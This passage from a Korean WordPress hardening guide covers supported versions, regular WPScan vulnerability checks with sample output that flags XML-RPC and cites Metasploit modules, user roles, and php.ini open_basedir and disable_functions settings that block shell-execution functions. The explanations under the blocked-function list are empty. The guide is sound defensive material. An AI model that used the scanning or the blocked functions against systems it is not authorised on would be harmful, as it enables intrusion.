- 베타, 야간 빌드 및 기타 Subversion 체크아웃은 지원되지 않습니다.
- 공식 WordPress 릴리스가 아닌 포크된 제품이나 버전 사용을 피하십시오.
- 지원되는 버전 문서: [Supported Versions](https://wordpress.org/documentation/article/supported-versions/)
## 10. WordPress 정기 보안 취약점 점검 보장
WordPress는 콘텐츠 관리 시스템(CMS) 소프트웨어입니다.
패키지 소프트웨어이므로 보안 취약점은 주로 구성 요소(코어 파일, 플러그인, 테마 등)에서 발생합니다.
특정 요구 사항에 맞게 개발된 맞춤형 웹 애플리케이션과 달리 WordPress에 적합한 방법을 사용하여 보안 취약점을 식별하고 해결해야 합니다.
WordPress로 구축된 웹사이트가 사용자 정의가 많이 되지 않았고 WordPress의 특성을 유지하고 있다면 WPScan을 사용하여 보안 취약점을 쉽게 확인할 수 있습니다.
WPScan은 부분적으로 유료 소프트웨어이지만 기본 무료 등급에는 기능 제한이 없습니다. 이를 통해 WordPress 보안 취약점을 정기적으로 확인하고 대응할 수 있습니다.
**수정:**
- WPScan(또는 WordPress를 스캔할 수 있는 유사한 도구)을 사용하여 정기적인 취약점 점검을 수행하십시오.
- 취약점이 발견되면 확인하고 이를 제거하기 위해 필요한 조치를 수행하십시오. 대부분의 경우 업데이트를 통해 해결됩니다.
- [WPScan 사용자 문서](https://github.com/wpscanteam/wpscan/wiki/WPScan-User-Documentation)를 참조하십시오.
- WordPress에서 흔히 발견되는 일반적인 취약점에 대한 자세한 정보: [Extending WordPress Common Security Vulnerabilities](https://learn.wordpress.org/tutorial/extending-wordpress-common-security-vulnerabilities/)
**WPScan:**```
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: https://yourwordpress.com/ [192.168.10.100]
[+] Started: Fri May 24 14:39:06 2024
Interesting Finding(s):
[+] Headers
..
...
| - content-security-policy: upgrade-insecure-requests
| Found By: Headers (Passive Detection)
| Confidence: 100%
..
...
[+] XML-RPC seems to be enabled: https://yourwordpress.com/xmlrpc.php
| Found By: Link Tag (Passive Detection)
| Confidence: 30%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
..
...
[+] Finished: Fri May 24 14:39:48 2024
[+] Requests Done: 187
[+] Cached Requests: 7
[+] Data Sent: 56.32 KB
[+] Data Received: 605.595 KB
[+] Memory used: 276.602 MB
[+] Elapsed time: 00:00:42
| 번호 | 역할 | 설명 | 관리 직원 |
|---|
| 1 | 관리자 | 모든 WordPress 기능에 대한 전체 액세스 권한이 있으며 사이트의 모든 콘텐츠를 관리할 수 있습니다. | 시스템 관리자 |
| 2 | 편집자 | 다른 사용자의 게시물을 관리 및 게시하고 콘텐츠를 편집 및 게시할 수 있습니다. | 운영 서비스 관리자, 내부 콘텐츠 기여자 |
| 3 | 작성자 | 자신의 게시물을 작성 및 게시하고 자신의 게시물을 편집할 수 있는 권한이 있습니다. | 내부 콘텐츠 기여자 |
| 4 | 기여자 | 콘텐츠를 작성할 수 있지만 게시할 수는 없습니다. 게시물은 관리자가 검토하고 게시합니다. | 내부 콘텐츠 기여자 |
| 5 | 구독자 | 사이트에 로그인하여 개인 프로필을 관리할 수 있지만 콘텐츠를 작성하거나 편집할 수 없습니다. | 내부 콘텐츠 기여자 |
open_basedir:
; PHP 파일 접근을 지정된 디렉터리로 제한
open_basedir = "/path/to/your/web/root"
예시:
open_basedir = "/var/www/html:/tmp"
이 구성은 PHP가 /var/www/html 디렉터리와 임시 디렉터리 /tmp 내의 파일에만 접근하도록 허용합니다.
disable_functions:
; 잠재적으로 위험한 PHP 함수 비활성화
disable_functions = "system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail"
비활성화된 함수 설명:
system, exec, shell_exec, passthru:
mysql_list_dbs:
ini_alter:
dl:
symlink, link:
chgrp:
leak:
popen:
apache_child_terminate:
virtual:
mb_send_mail: